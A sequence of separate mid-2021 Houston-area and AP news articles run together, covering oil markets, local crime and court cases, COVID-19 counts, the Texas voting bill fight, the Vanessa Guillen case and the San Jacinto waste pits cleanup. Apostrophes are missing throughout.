Futures in New York fell 2.8%, the most since May. Both gasoline and distillate inventories rose last week, according to a U.S. government report. Meanwhile, Saudi Arabia and the United Arab Emirates were said to resolve the standoff that has prevented OPEC+ from satisfying growing demand for extra barrels. Technical indicators also showed crude close to overbought territory earlier Wednesday, which signals oil may be due for a pullback.

With the prospect of more supply from OPEC+ and crude nearing overbought levels, its not surprising to see it down, said Tariq Zahir, managing member of the global macro program at Tyche Capital Advisors LLC.

Economic recovery in countries like the U.S. and China has increased fuel consumption over the course of this year, propelling oil prices forward by more than 50%. Rising demand, especially during the peak summer travel season in the U.S., drew warnings about a deepening supply deficit after OPEC+ talks on a production hike broke down earlier this month.

The latest breakthrough proposal involves a higher output quota for the UAE, which said OPEC+ talks are ongoing. It would need to be approved by all OPEC+ members before it can take effect.

If the compromise is ratified at a new meeting, it could open the way to higher output, although some members have already locked in most of their supply volumes for August. The 23-nation coalition is aiming to restore supplies in installments of 400,000 barrels a day through to late 2022.

So far its been proven that the OPEC+ agreement has been effective at stabilizing oil prices, said Rob Thummel, a portfolio manager at Tortoise, a firm that manages roughly $8 billion in energy-related assets.

The impasse introduced volatility in the market over the last week while near-term supply remained in question. In addition to gasoline, a boom in durable goods is driving demand for naphtha to make plastics as well as diesel to power deliveries.

Domestic crude supplies tumbled for the eighth straight week, according to the weekly report. Inventories at the nations largest storage hub in Cushing, Oklahoma, fell by 1.6 million barrels.

Still, the ongoing spread of the delta variant casts a shadow on the demand outlook for oil. Daily cases in Indonesia surpassed those in India, and Australias most populous city, Sydney, extended a lockdown for two more weeks. Cases in Malaysia and South Korea reached record highs.

Trouble is brewing for the oil market, said Stephen Brennock, an analyst at PVM Oil Associates Ltd. Fears are mounting that rising Covid-19 Delta cases could delay a full economic recovery. This, in turn, poses a significant threat to oil demand growth in the near-to-medium-term.
Joe Klamar/AFP via Getty Images

The United Arab Emirates has reached a preliminary deal to resolve the its standoff with OPEC+, giving the Gulf state a higher output quota, said a delegate.

The proposal would need to be approved by all OPEC+ members before it can take effect and a new date for a meeting will be set soon, the delegate said, asking not to be named because the information was private.
Preservation Houston has issued a call for entries for its 2022 Good Brick Awards.

The nonprofit focused on historic preservation and the local history in our homes and buildings honors the work to restore and adapt old structures for new residents and new purposes with its annual awards, given each spring. The awards have been given since 1979.

Entries can be for residential, commercial or institutional projects, and have also been given for publications, leadership and preservation-related programs such as museum or cultural exhibits.

Past winners include contractors, architects, designers and owners of homes, from tiny bungalows to stately mansions. Bigger commercial and industrial projects include adapting office buildings into hotels  or the other way around  or industrial buildings into lofts.

The restoration of NASAs Mission Control is an example of a community-based project honored recently. Houses of worship such as churches and temples have been honored for restoring sanctuaries and other parts of their property.

The projects must be located in Harris County and completed within the last five years. Winners will be announced at Preservation Houstons annual Cornerstone Dinner on March 4, 2022.

For guidelines, a nomination form and contact information, go to preservationhouston.org/awards/nominate. Deadline is 3 p.m. Sept. 13.

diane.cowen@chron.com
After pleading guilty earlier this month in a Montgomery County court to charges involving the distribution of more than 260 videos of child sexual abuse, an Idaho man received a decade in prison.

On July 1, Tyson Lee Murdock, 40, of Burley, Idaho, was sentenced to 10 years by presiding 435th District Court Judge Patty Maginnis when he entered a guilty plea for the second-degree felony offense of promotion of child pornography, according to court records.

Videos featured children possibly as young as 2 years old, according to charging documents.

The charges against Murdock came after activity on Kik Messenger, a social media app, while conversing with who he thought was a 12-year-old Conroe girl, but was actually a Montgomery County Precinct 1 Constables investigator. The online chat started in early February 2020 and ran for nearly three months and included Murdock seeking to perpetrate statutory rape on the purported girl, according to a probable cause affidavit in the case.

Murdock identified himself as Ty on Kik, sending multiple photos of himself, which the investigator cross-checked with his Idaho state ID card and a Facebook profile. He was tied to IP addresses used during the messaging after a subpoena to Kik, according to information in court records.

The second day of chatting, Murdock sent the decoy multiple videos and some photographs of child pornography and continued engaging like so for the remainder of the online conversation, the affidavit detailed.

On April 1, 2020 Murdock sent an online cloud storage link with two file folders. One labeled Incest contained 263 videos of child pornography. A dozen days later, Murdock sent a video with child pornography, according to charging documents.

Murdock was taken into custody May 5, 2020.

His defense attorney did not reply to a request for comment.

jose.gonzalez@chron.com

twitter.com/jrgzztx
Brett Coomer, Houston Chronicle / Staff photographer

As the summer months continue, Montgomery County health officials are seeing an uptick in active COVID-19 cases and more than 20 of cases of people reinfected.

According to information released by the Montgomery County Public Health District Wednesday, the county added 205 active cases and 23 cases of people reinfected. Reinfection is defined by the Department of State Health Services as two positive COVID-19 cases at least 90 apart with no consecutive tests between.
WASHINGTON (AP)  In a meeting intended to reflect the importance of U.S.-German ties, Kamala Harris will hold talks with Chancellor Angela Merkel at the vice presidents residence Thursday, the first time she has hosted a foreign leader at the Naval Observatory since taking office.

At their breakfast meeting, Harris intends to emphasize the need for the allies to confront an array of global challenges, from the coronavirus pandemic and climate change to the threats posed by Russia and China.

It underscores the special nature of this partnership and Americas special role in the world that she is able to host her at her home," said Phil Gordon, the vice president's deputy national security advisor, told The Associated Press.

Harris and Merkel also will discuss the need to promote and defend democracy at home, acknowledging, frankly, that we face challenges in our own countries and we need to talk about that," Gordon said.

Also expected to come up is the U.S. withdrawal from Afghanistan, as well as the role of NATO and Germany in maintaining stability in Afghanistan in the aftermath.

Merkel will visit the White House later Thursday to meet with President Joe Biden. That session is expected to cover many of the same issues, in addition to the Nord Stream 2 gas pipeline from Russia to Germany, which his administration opposes.

In developing her diplomatic portfolio, Harris has taken on one of the administrations toughest tasks, addressing the root causes of migration to the United States from Mexico and Central America, and has held calls with world leaders.

Harris and Merkel are the first women to serve in their respective positions, and the chancellor highlighted Harris' background when offering congratulations after Biden's election victory in November.

As the first woman in this office and the child of two immigrants, she is an inspiration for many people, an example of the opportunities of America," Merkel said. I'm looking forward to getting to know her."

Merkel, after nearly 16 years in office, is retiring in the coming months after deciding not to seek a fifth term.
BELFAST, Maine (AP)  The director of the Waldo County Technical Center is charged with assault and unlawful sexual touching stemming from a pair of incidents involving a 13-year-old girl, state police said Wednesday.

Kevin Michaud, 58, of China, Maine, was released after his arrest on Sunday with bail conditions barring him from contact with any children under 18. He resigned from his position before his arrest, a school official said.
AUSTIN, Texas (AP)  Texas Republicans advanced bills Sunday that would make voting harder in a state that already has some of the nation's toughest restrictions after hundreds spoke against the proposals  with some waiting to speak for almost 24 hours.

Republicans made clear they intended to advance a new election bill  which would prohibit 24-hour polling places, ban drop boxes and stop drive-thru voting  this weekend, with a first major vote on the proposals expected this week. That timeline is pushing some Democratic lawmakers toward calling for a second walkout to again stop the restrictions from moving forward like they did in May when they broke quorum.

Texas is among several states with GOP-controlled statehouses where Republicans have rushed to enact strict voting laws in response to former President Donald Trumps false claims that the 2020 election was stolen from him. A second walkout by Texas Democrats  which some are describing as their best, if not only option  would mark a high-stakes escalation of their efforts to deny Republicans a major priority, and in turn, put more pressure on President Joe Biden to act on voting at the federal level.

Beto O'Rourke, the Democratic former Texas congressman who is considering challenging Republican Gov. Greg Abbott in 2022, said he has already offered help, saying he was ready to raise money "literally to feed and house the legislators if they go that route.

Should we stick around? Hell no. For what? Democratic state Rep. Jarvis Johnson said. There's nothing being done in earnest. There's nothing be done with the utmost respect for one another.

For weeks, Democratic leaders in the Texas House have said they are not ruling out another revolt, but have also expressed hope of weakening the bill during the 30-day special session. Johnson, however, believes a large number of his colleagues are ready to deny Republicans a quorum for a second time, though most continue speaking cautiously.

You may know my next move, but you can't stop it. You never knew when Mike Tyson was going to throw the uppercut, but you knew he was going to throw it," he said.

Another walkout may merely buy more time: Abbott could keep calling more 30-day special sessions until voting measures are passed. Paychecks for nearly 2,000 Capitol staffers could also be on the line, because Abbott vetoed funding for the legislative branch following Democrats' late-night walkout. He has signaled he will restore that funding this summer  if lawmakers are around to put a bill on his desk.

Harris County Judge Lina Hidalgo, the elected head of the governing body for the county where Houston is located, said Abbott was extorting lawmakers to get the legislation passed. Hidalgo said she was would support Democratic legislators breaking quorum again to block the bill's passage.

It is very important to me to recognize voting rights should be above politics, Hidalgo said. We can do that with all manner of issues, but not voting, not democracy.

Nacal Tate, who volunteers with the NAACP chapter in Collin County in the Dallas area, said she woke up at 4 a.m. Saturday to drive several hours to Austin to testify against the proposed voting restrictions. Tate said that meant missing her grand niece's birthday party, but that it was worth the sacrifice. Some of the provisions, if they become law, would affect senior citizens, like herself, and others who receive help at the polls due to proposed penalties for voting volunteers who make a mistake.

It is a suppression of our constitutional rights, Tate said.

The last time Texas Democrats left the state to deny a quorum was 2003, when they decamped to Oklahoma and New Mexico to try to block new GOP-drawn voting maps. They were gone more a month, but ultimately, Republicans passed a new redistricting plan.

The versions of the revived voting changes passed Sunday by a House panel  at 7:30 a.m., almost 24 hours after debate began  and by a Senate committee later that afternoon no longer include two of the most contentious provisions: prohibiting Sunday morning voting, when many Black churchgoers go to the polls, and language that would have made it easier for a judge to overturn elections.

Hundreds of opponents packed overflow rooms at the Capitol and waited for hours to testify. It was the biggest turnout against a bill this year in Texas, where COVID-19 concerns have dampened crowds.

___

Acacia Coronado is a corps member for the Associated Press/Report for America Statehouse News Initiative. Report for America is a nonprofit national service program that places journalists in local newsrooms to report on undercovered issues.
Hervis Rogers had no regrets after taking part in Super Tuesday voting last year, even though doing so required spending more than six hours in line on a sultry spring night.

"I figured like it was my duty," he said upon emerging from a polling place at Texas Southern University, just after 1 a.m. Wednesday.

His story wasnt a heartwarming one, though: voting rights advocates were inspired by Rogers perseverance, but disturbed that such a feat of endurance was necessary in the first place.

Now Rogers story has taken a dispiriting turn  one that should command the attention of all Texans, in light of this weeks showdown over voting rights.

Most of the states Democratic legislators broke quorum on Monday in an effort to stop Republicans from rushing through an election integrity bill during the special session that began last week. It was their only option, Democrats said, to block voting restrictions they believe are aimed at suppressing the vote, particularly of Blacks and Latinos.

Republicans, who control both chambers of the Legislature, were rushing to pass the measure. They were unmoved by large number of protesters who turned out at the Texas Capitol in opposition, including those who had to wait from 8 a.m. Saturday until 1:41 a.m. Sunday to testify before a House committee. So Democrats boarded a pair of flights and decamped to Washington, D.C., to slow things down and make the case for federal voting rights legislation.

If you think Democrats may be overreacting, consider the case of Rogers, 62, of Houston.

Last week, Rogers was arrested and charged by Texas Attorney Gen. Ken Paxton, a Republican, with two counts of illegally voting.

Paxtons office also decided to bring charges in deep-red Montgomery County  an obscure 1985 provision of the election code allows such offenses to be prosecuted in an adjoining county  and announced that his bail would be set at a whopping $100,000.

Hervis is a felon rightly barred from voting under TX law, tweeted Paxton, who has been under indictment himself on felony securities fraud charges for six years. He denies the charges.

Paxtons offices alleges Rogers was on probation for a 1995 burglary conviction when he voted in the March 2020 Democratic primary and the November 2018 general election. As Sam Gonzalez Kelly reported in the Chronicle, Rogers had been released from prison in May 2004 after serving nine years of a 25-year sentence. His vote in the March elections came less than four months before his parole was set to expire.

On HoustonChronicle.com: Man who waited 6 hours to vote in 2020 primary arrested, accused of voter fraud

Be that as it may, theres a bigger issue here, which is that we have a statewide leader who sees fit to prosecute someone like Rogers in the first place.

Its practically self-evident that Rogers didnt know he was ineligible to vote, when he turned out for last years primary.

It defies belief that someone would knowingly mischief the system, then turn around and brag about doing so on national television  especially if he lives in a state where leaders are known to prosecute such crimes with a seemingly malicious glee. Rogers, who is Black, now faces 25 years to life in prison if convicted.

This, of course, isnt the first time.

The prosecution of Rogers comes several years after Crystal Mason of Tarrant County was sentenced to five years for voting illegally, after casting a provisional ballot in the 2016 election, while on federal supervised release. The vote never counted. She, too, is Black.

There is no basis for them to have been arrested, jailed, and to be facing charges for innocent mistakes while seeking to vote, said Bishop James Dixon, the pastor of Community of Faith Church in north Houston and president of the NAACP Houston branch, at a news conference Tuesday attended by Black clergy and other leaders.

And why would Mr Rogers be jailed on a $100,000 bond? Dixon added. That is demoralizing.

The soft-spoken Mason, who is appealing her conviction, explained at the news conference she was surprised when the poll worker couldnt find her on the rolls; she had voted at the same location before, and her address hadnt changed in over a decade. But she filled out the provisional ballot carefully, making sure that the information matched the facts on her drivers license. Even later, when she was summoned to see her supervised release officer, Mason had no idea she had run afoul of the terms of her release: she was warned not to use drugs, for example, but no one had said anything about voting.

Kim T. Cole, one of Masons attorneys, noted that 4500 provisional ballots were cast in Tarrant County in 2016 and most of them were rejected, but Mason was the only person to face criminal charges as a result. Tellingly, she continued, the district attorney explicitly asked the jury to give Mason a stern sentence in order to send a message.

This is racism refusing to die quietly, Cole concluded.

It sure isnt justice. Its clear that any errors Mason and Rogers committed were innocent mistakes  mistakes that have been leveraged against them by Republican leaders who continue to fearmonger about widespread voter fraud in the state, All the while they ignore or support former President Donald Trumps repeated false claims about a rigged election in 2020.

Any objective person would see Masons provisional ballot, and Rogers willingness to speak to the media, as the actions of individuals who were sincerely, if mistakenly, trying to participate in our electoral process, not subvert it.

That Paxton would look at such circumstances and see a political opportunity is chilling. It should remind all Texans to be skeptical when Republicans pursue restrictions on our voting rights, even if they do so in the name of integrity.

erica.grieder@chron.com

erica.grieder@chron.com
A woman was injured early Wednesday in a fire at a group home in southwest Houston, officials said.

Officials responded shortly before 4 a.m. to the 11000 block of Concho Street in the Alief area where they found heavy fire and smoke inside a home, said Steve Dunbar of the Houston Fire Department District 83.

Firefighters made a fast attack on the flames. A woman in her 30s was trapped in the back corner of the house, Dunbar said. Firefighters rescued her and paramedics transported her to the hospital in critical condition.

The other eight or nine residents were able to get out of the home with no injuries, Dunbar said.

Residents told authorities they were awoken by two explosions, Dunbar said. The cause of the fire remains under investigation.
The Galveston County District Attorneys Office has dismissed dozens of cases involving a Friendswood police officer who admitted in an internal investigation years ago that she conducted traffic stops without probable cause.

Prosecutors reviewed cases in which Officer Sara Carter made an arrest and dismissed roughly three dozen of them after finding insufficient evidence to proceed with criminal charges, said Kevin Petroff, first assistant district attorney.

A 2017 internal investigation into the officers alleged conduct violations was first brought to light months ago by a defense attorney defending a man accused of drunken driving who was arrested by Carter.

The attorney, Dan Krieger, said he obtained the report through an open records request and notified the district attorneys office. Prosecutors were concerned enough about the contents of the report that they evaluated the officers cases and notified defense attorneys working on scores of others involving the officer, Petroff said.

Krieger gave the district attorneys office the internal complaint on March 31, he said.

The police department notified prosecutors about the same internal investigation on April 5, Petroff said.

The report includes a complaint filed in July 2017 by a Friendswood police sergeant who accused Carter of policy violations. Some officers were reluctant to get involved in traffic stops made by Carter because she made comments about pulling over certain vehicles without a reason, the sergeant wrote in the complaint.

For example, Carter told a driver that she pulled him over because the license plate did not match the car. However, the officer did not try to confirm any information about the vehicle or its license plates during the stop, according to the report. When another officer found out that the drivers registration was valid and questioned Carter, she told him that she had actually pulled the driver over for speeding.

During a conversation with the sergeant, Carter admitted she conducted roughly 20 traffic stops without probable cause, according to the report.

The complaint was sent to Carters supervisor and the departments internal affairs unit. Thirteen days later, the department exonerated Carter and ordered no discipline or training, according to the report.

The Friendswood Police Department did not return a call seeking comment on the dismissals, first reported by the Galveston County Daily News.

They did determine that she had reasonable suspicion for making the stops that were at issue, said Brian Begle, a Texas attorney hired this week by Friendswood to review the situation.

Carter, who was hired by the department in March 2014, was placed on administrative leave last Thursday after the judge presiding over the trial of the drunken driving case raised issues with the officers credibility, Begle said.

A Galveston County judge on Thursday granted a directed verdict acquitting the defendant after determining that Carter was not reliable or credible, Krieger said.

Begle said the city is waiting to review a transcript of Carters testimony to determine if she violated any policies or made any inappropriate statements.

Krieger said he thinks it is concerning that Friendswood police did not disclose the information contained in the complaint against Carter for nearly four years.

I think wed still be in the dark on this issue, he said.

anna.bauman@chron.com
The girlfriend of Vanessa Guillens suspected killer faces a new set of charges in an indictment filed Tuesday in federal court.

Cecily Anne Aguilar, of Killeen, was indicted last July on one count of conspiracy to destroy evidence and two counts of destroying evidence, based on accusations that she helped her boyfriend, Spc. Aaron Robinson, hide the slain soldiers mutilated body. Aguilar told police that Robinson bludgeoned Guillen. Robinson died by suicide last year when police closed in to arrest him.

The new document includes the original charges, as well as three counts of accessory after the fact, one count of destruction, alteration or falsification of records in a federal investigation and four counts of false statement or representation.

Aguilars federal public defender could not immediately be reached for comment.

Sean Buckley, a Houston criminal defense attorney who handles state and federal cases, told the Houston Chronicle that the charges in the original indictment each carry a maximum sentence of 20 years. In federal court, charges usually are not added together, or stacked, he said. The new indictment may not have an impact on her possible sentencing range but could help prosecutors achieve a conviction with a serious penalty, he said.

It is virtually impossible to look at an indictment and reasonably estimate a potential sentence without being privy to all the evidence, Buckley said in an email. Based on the facts reported by the media, my general impression is that the latest indictment realistically exposes Ms. Aguilar to a potential sentence of up to twenty years in federal prison. My guess is that the actual sentence would be significantly lower than that  if she is in fact convicted.

Guillen, an Army mechanic who was a track star at Houstons Cesar E. Chavez High School, was killed while on active duty at Fort Hood. Community activism surrounding her disappearance and death prompted the Army to clean house and reexamine how it handles allegations of sexual harassment and abuse. Her family is working with lawmakers to pass federal legislation in her name that would expand these concepts on a broader level.

The indictment against Aguilar comes less than a month after U.S. District Judge Alan D. Albright denied her request to suppress her confession. Aguilars defense lawyer had argued that officers had improperly questioned Aguilar on June 30, 2020, after shed given them different stories in two previous interviews. They said she could get in trouble for lying to federal officers. They encouraged her to tell them the truth without explaining she had a right a lawyer and that anything she said could be used against her, defense counsel said.

The indictment provides details supporting the new charges, including that Aguilar obtained masonry cement to conceal Guillens body and that she did knowingly alter, destroy, mutilate, conceal and cover up information in Robinsons Google account. The indictment said she lied to investigators on multiple occasions by claiming that she was with Robinson at her apartment the night they hid Guillens remains.

On Tuesday, U.S. Army General John M. Murray met privately at Houstons Post Oak Hotel with the late Army specialists family to discuss the Army report about how the chain of command at Fort Hood last year handled the death.

He told them the report concluded, The Army failed this family and the Army failed this nation They will use this case as a case study of how to handle this, according to Houston Congresswoman Sylvia Garcia, who also attended the meeting.

Gabrielle Banks contributed to this report.

julian.gill@chron.com
Fort Bend Countys courts must develop a plan for tackling language barriers, including offering interpreters for free in civil and criminal cases, under the terms of a settlement of a federal civil rights investigation.

The U.S. Department of Justice announced in late June that it had reached a settlement agreement in response to complaints that Fort Bends district and county courts had denied meaningful access to people with limited English proficiency, the agency said.

The county courts was accused of violating Title VI of the Civil Rights Act of 1964, which prohibits federally funded agencies from discriminating against people based on race, color or national origin.

Fort Bend is one of the most diverse counties in our District, Mark Donnelly, acting U.S. attorney for the Southern District of Texas, said in a statement. This agreement will ensure everyone has access to our courts irrespective of national origin or limited English proficiency.

The county attorneys office said in a statement Tuesday afternoon that the investigation does not reflect any conclusion as to the merits or validity of these complaints. The investigation resulted in the signing of a memorandum of agreement, it added.

Fort Bend County has assisted the Department in their investigation in a fair and impartial manner and together has reached a productive and amicable resolution including working together with the Department of Justice to develop a language access plan for the courts, according to the county attorneys office.

The DOJ investigation was launched in December 2017, county officials said, based on two complaints that some time in 2017 courts failed to provide free interpreters for limited English proficient court users.

Sandra Dejeux, the courts former language access director, said she filed a complaint on behalf of a Venezuelan woman who was struggling to navigate the countys courts with limited English language skills. The woman lost custody of her child.

If you're at risk of being evicted, if youre battling for child custody, if youre going through a divorce and you don't speak English and you can't afford to pay an interpreter  you're not really going to be able to defend yourself or be heard, Dejeux said. Because you don't have a voice while going through the legal process.

Its difficult for people with limited English skills to navigate the courts system because they are forced to handle complex concepts in an unfamiliar language during a high-stress, emotional situation, Dejeux said.

Thats why trained professional interpreters are crucial  and different from those who are simply bilingual, she said.

According to the DOJ, investigators uncovered evidence of language barriers within the judicial system. For example, defendants at times had to rely on bilingual attorneys instead of qualified interpreters. Some parents with limited English language proficiency had to pay higher court costs in child custody cases, the federal agency said.

In 2010, there were nine languages spoken at home by at least 1,000 residents in Fort Bend, according to the county. They were Spanish, Vietnamese, Chinese, Urdu, Malayalam, Tagalog, Gujarati, Hindi and Arabic.

The agreement marks the end of Justice Department investigation.

It requires that the county courts:

* Develop a mandatory annual Title VI training for all employees and new hires within six months;

* Put out public notices, in multiple languages, with information about the countys nondiscrimination policy and complaint process;

* Review its language access plan, which was adopted in June 2020;

* Conduct community outreach to discuss concerns about language barriers and hold a public meeting about available court services;

* Track how often interpreters are requested and provided in court over 12 months, and how many resources each court spends on the service;

* Provide status reports to federal officials every six months. The agreement will be terminated in two years, as long as the courts comply with the terms.

The county said it would comply with the terms.

Fort Bend County District and County Courts currently provide language services to any individuals with limited English proficiency free of charge, the county attorneys office said. The County is committed to ensuring that LEP individuals are provided meaningful access to County services.

Dejeux said there was a huge demand for such services when she worked as an interpreter for the county courts. She said she answered a flood of calls from judges, bailiffs and court coordinators requesting her to translate for Spanish speakers and book interpreters for other languages.

I started to go even on Saturdays and Sundays, she said.

Dejeux said she thinks the settlement is a great start in tackling language barriers.

I think it's going to have a domino effect and other counties are going to follow if they see what can be done when you handle language access effectively, she said.

anna.bauman@chron.com
Family members of slain Fort Hood soldier Vanessa Guillen met Tuesday with top Army brass in Houston to review findings of an investigation into her death.

U.S. Army General John M. Murray met privately at the five-star Post Oak Hotel with the late Army specialists parents, Rogelio and Gloria, sister, Mayra, and hometown Congresswoman Sylvia Garcia, and lawyer to discuss the Army report about how the chain of command at Fort Hood last year handled Guillens disappearance and bludgeoning death. The Army had promised the family a top official would meet with them in person once the April report was released.

On HoustonChronicle.com: Vanessa Guillen: A vibrant life and tragic death that sparked a movement

Following the meeting, Garcia told reporters the general Did not come out and say, We apologize.

But he told them the report concluded, The Army failed this family and the Army failed this nation They will use this case as a case study of how to handle this, the lawmaker explained.

Garcia said she found the generals candor encouraging.

Attorney Natalie Khawam said Murray was thoughtful in his response to the finding, but she was disappointed the general declined to reveal the names of the Army officials who were removed from their posts or reprimanded for their conduct after Guillen reported being sexually harassed by Army personnel. The familys lawyer and Guillens mother both said they were upset the Army allowed individuals who had mishandled the sexual harassment case to remain in the Army.

INDICTED: Defendant in Guillen case now facing more charges

Justice for Vanessa would be getting rid of those persons who harmed herTaxpayers are still paying for these perverts to be in the system, Khawam said.

The report was based on accounts of 151 witnesses. Officials found that the posts acting commander at the time, Maj. Gen. Scott Efflandt, failed to engage properly with reporters and lost the trust of the soldiers family as the controversy became international news.

In addition, the Army report found that no one in the chain of command took action after Guillen reported she was harassed by a supervisor who suggested they have sex with another person. Investigators concluded the actions before and after she was sexually harassed had a profound impact on the small arms mechanics morale.

The federal court prosecution of a suspected accomplice accused of helping to hide her dismembered body is pending. Spc. Aaron Robinson, the man authorities believe killed Guillen, died by suicide as Killeen police closed in on him last July.

gabrielle.banks@chron.com
Thaddeus Lewis

A Harris County jail inmate has been charged in the shooting of a sheriff's deputy Wednesday inside the Ben Taub tower.

Thaddeus Lewis, 35, is charged with aggravated assault against a public servant. The two scuffled, authorities said, and then the deputy was shot in his hand.
A Harris County jury has convicted a Houston man of capital murder in the fatal shooting of a homeless man who had previously reported being shot by the defendant.

Jamin Kidron Stocker, 37, was sentenced to life without parole Tuesday in the death of Brent Tapp, 67, since the death penalty was not pursued. Tapp had previously told police that Stocker, taking aim from his balcony, shot him in the leg. Stocker has also been charged in the 2016 shooting death of a woman riding her bicycle.

Making a homemade silencer and buying a scope to shoot a rifle from a balcony, like in this case, is not an act of impulse, Harris County District Attorney Kim Ogg said. There was planning and premeditation, and the fact that Mr. Stocker returned to the scene, months later, for a cold and calculated murder of the man who would have testified against him, is appalling.

Stockers attorneys, Bryan K. Savoy and R.P. Cornelius, did not immediately respond to requests for comment.

Stocker lived in a condominium with a second-floor balcony on Rosewood, overlooking the parking lot at the intersection of Caroline and Wheeler, prosecutors said. Tapp told police in August 2017 that Stocker shot him  prompting Stocker to flee, according to the district attorneys office.

Police searched his home and confiscated several stolen guns. They found a .22 caliber rifle with a scope and homemade silencer and a stockpile of .45 caliber bullets, but they didnt find a .45 caliber gun, authorities said.

Officials issued a warrant for Stocker on a charge of aggravated assault with a deadly weapon. Tapp was fatally shot two months later, in the same parking lot where he had first been struck, police said.

Bullet casings at the scene matched the .45 caliber bullets found in Stockers home, they said.

Police arrested Stocker three months later and charged him with capital murder  a homicide commissioned at the time of another crime. The other crime was obstruction, an attempt to prevent Tapp from testifying against him, prosecutors said.

The DAs office did not pursue the death penalty, leaving a life sentence without parole as the only option for Stocker once he was convicted.

Jurors heard testimony that Stocker blamed Tapp for reporting him to police, forcing him to flee and lose his job and home, according to the district attorneys office.

Stockers phone showed messages admitting to the initial shooting, and ballistics from the murder scene matched the .45 caliber pistol that Stocker was caught with when he was arrested.

The .22 caliber rifle was also the same gun used in a fatal shooting in March 2016, when a woman named Charlotte Walker was killed riding her bike in the Third Ward, prosecutors said. Stocker is charged with murder in the slaying.

Assistant District Attorneys Lauren Bard and Jamie Burro prosecuted the case.

samantha.ketterer@chron.com

twitter.com/sam_kett
Federal officials had hoped by now to see work begin on cleaning out the contaminated soil in the San Jacinto River. But due to a recent snag in the lengthy process to remove the toxic waste pits from either side of the Interstate 10 bridge, officials now say plans to address the entire Superfund site wont be finalized until next year.

Of the two sites  one north of the bridge and one south of it  the northern one is of greater concern to residents and proving more difficult to remediate. Each contains dioxins, which can cause cancer and other problems. Both are in the middle of the river, which has shifted since a paper mill in the 1960s used them as places to dump waste.

The northern site is more complex because its also now partially under water, creating the potential for toxic material to go downstream and into bays where people fish and boat. A temporary cap covers it but is not infallible. (The cap was damaged in 2017 after Hurricane Harvey; a sample taken at the site found a significant amount of dioxins.)

The pits have been a priority federal Superfund site, meaning its part of the national program for cleaning up hazardous waste sites, since 2008. The Environmental Protection Agency reached an agreement with International Paper Company and McGinnes Industrial Maintenance Corporation in 2018 to clean it up, at an estimated cost of $115 million.

But while the EPA in May approved the plan for disposing of contaminated dirt south of the bridge, the companies in another letter earlier this year requested more time to figure out how to remove the material north of the bridge. Experts had realized they needed more data.

On HoustonChronicle.com: Feds hope to start San Jacinto Waste Pits cleanup within 2 years

For starters, the contamination in the northern pit goes much deeper in the soil than those working on this project realized  beyond the 12 feet they first expected. That discovery means new, deeper samples need to be taken. And more dirt will ultimately have to be removed.

Theres another problem: The original plan envisioned removing the dirt through a walled-off section of water. But experts learned that too much water would have to be treated too fast for that to work. So now officials have to design a wall to keep the area dry while they dig up the material.

Ashley Howard, an EPA project manager, explained all this to residents in a virtual public meeting last month. She expected workers would need three months to gather the extra data and until February 2022 to complete the plan. It may take a year to find equipment and staff, and excavation may be further delayed because they only schedule that work between November and April to avoid hurricanes.

Obviously our decision was to remove the waste, Howard told residents. That is our goal. But we have to do it safely. And it has to be efficient because the risks are so high with this... We have to take time to get all the data we need to design it.

An update on how far along workers were in collecting the new data was not immediately available from the EPA Tuesday. Meanwhile time was passing: The previous EPA project manager for this work retired. New gates were being designed for installation upstream on Lake Houston.

The delay initially surprised members of the Texas Health and Environmental Alliance, Inc., an advocacy group, said board president Lisa Gossett. But they understood the reasoning after looking at it and hoped all parties would continue to work expeditiously.

Weve been working on this issue for years but we do want the remediation and the removal of waste to be done safely, completely and safely, Gossett said. And we looked at the information and realized that, yes, this does add complexity.

Other questions still need to be answered, such as what landfill will take the contaminated soil. Plus theres another big project potentially coming: The I-10 bridge may be replaced.

emily.foxhall@chron.com | Twitter: @emfoxhall

emily.foxhall@chron.com
The Texas Senate pushed ahead with controversial elections legislation on Tuesday, despite the dramatic walkout of House Democrats over the measure the day before.

Senate Bill 1 is the hallmark of the special session, a sweeping voting bill that would overhaul Texas elections. House Democrats staged a walkout to kill the measure in late May, then on Monday fled to Washington, D.C., to block it again.

Four of 13 Democrats in the Senate showed up Tuesday, giving Republicans the two-thirds quorum they needed to open debate on the legislation. The rest joined their House colleagues in the nations capital.

We hear all kinds of generalizations about the bill ... but the provisions in this bill will help every Texan, said Sen. Bryan Hughes, R-Mineola and the author of the measure, who added that it only includes common-sense reforms to guard Texas elections from fraud.

After hours of discussion, the Senate passed the measure, 18-4, with all present Democrats voting in opposition. It still needs approval in the House, but the lower chamber cannot take up the measure until Democrats return from D.C.

The latest version of the legislation does not include some of the provisions that garnered the most controversy earlier this year. Those included language that would have made it easier to overturn elections, as well as a restriction on Sunday early voting times that would have impacted Souls to the Polls events to encourage Black churchgoers to vote.

RELATED: Texas House issues call to round up Democrats who fled to DC to block voting restrictions

But the legislation still seeks to outlaw new voting methods piloted in Harris County last fall, including drive-thru and 24-hour voting. The bill removes some restrictions on partisan poll watchers, includes new ID requirements for absentee voters and bars local election officials from sending mail ballot applications to anyone who hasnt requested one.

It also rewrites requirements for early voting hours, limiting polling sites to operate between 6 a.m. and 9 p.m. statewide.

But the bill expands the number of required early voting hours each day in local elections  from eight to nine  and lowers the population threshold for counties that must keep the polls open for at least 12 hours during the second week of early voting in state elections.

Republicans say the legislation would make it easier to vote but harder to cheat, while Democrats have likened the bill to voter suppression because of the restrictions in it.

Is cracking down on voter harvesting voter suppression? asked state Sen. Paul Bettencourt, R-Houston.

The Democratic opposition to such measures has also been heightened as former President Donald Trump continues to insist he lost his re-election because of election fraud, without providing proof to back up those claims. Texas Republicans have also raised alarms about election fraud, without providing proof that it is prevalent.

The final bill approved by the Senate included a handful of minor amendments that garnered bipartisan support, such as the removal of a curbside voting requirement that would have mandated all passengers to exit the car except the voter. Democrats had raised concerns that more than one passenger in the vehicle may have a disability, and such a directive would be burdensome to those individuals.

TEXAS TAKE: Get the latest news on Texas politics sent directly to your inbox every weekday

As the upper chamber debated the legislation Tuesday, several hundred activists gathered for a Voting Rights Advocacy Day at the Capitol. Attendees participated in prayer sessions and other events to protest SB 1 and its partner in the lower chamber, House Bill 3.

They held signs: Say No to Jim Crow 2.0, Dont Mess With Texas Voters, Let Texas Vote!

And they chanted: Texas deserves better! Kill the bill!

James Slattery, the senior voting rights attorney of the Texas Civil Rights Project, who spoke at one of the rallies, said the fact that Republicans held overnight committee hearings on the bills last weekend  making the public wait for hours to testify  showed they weren't operating in good faith.

This is just a raw, naked grab for power to pass this bill as fast as possible, no matter how many voters it hurts, Slattery said. The Democrats had no choice but to bring these sham proceedings to a halt.

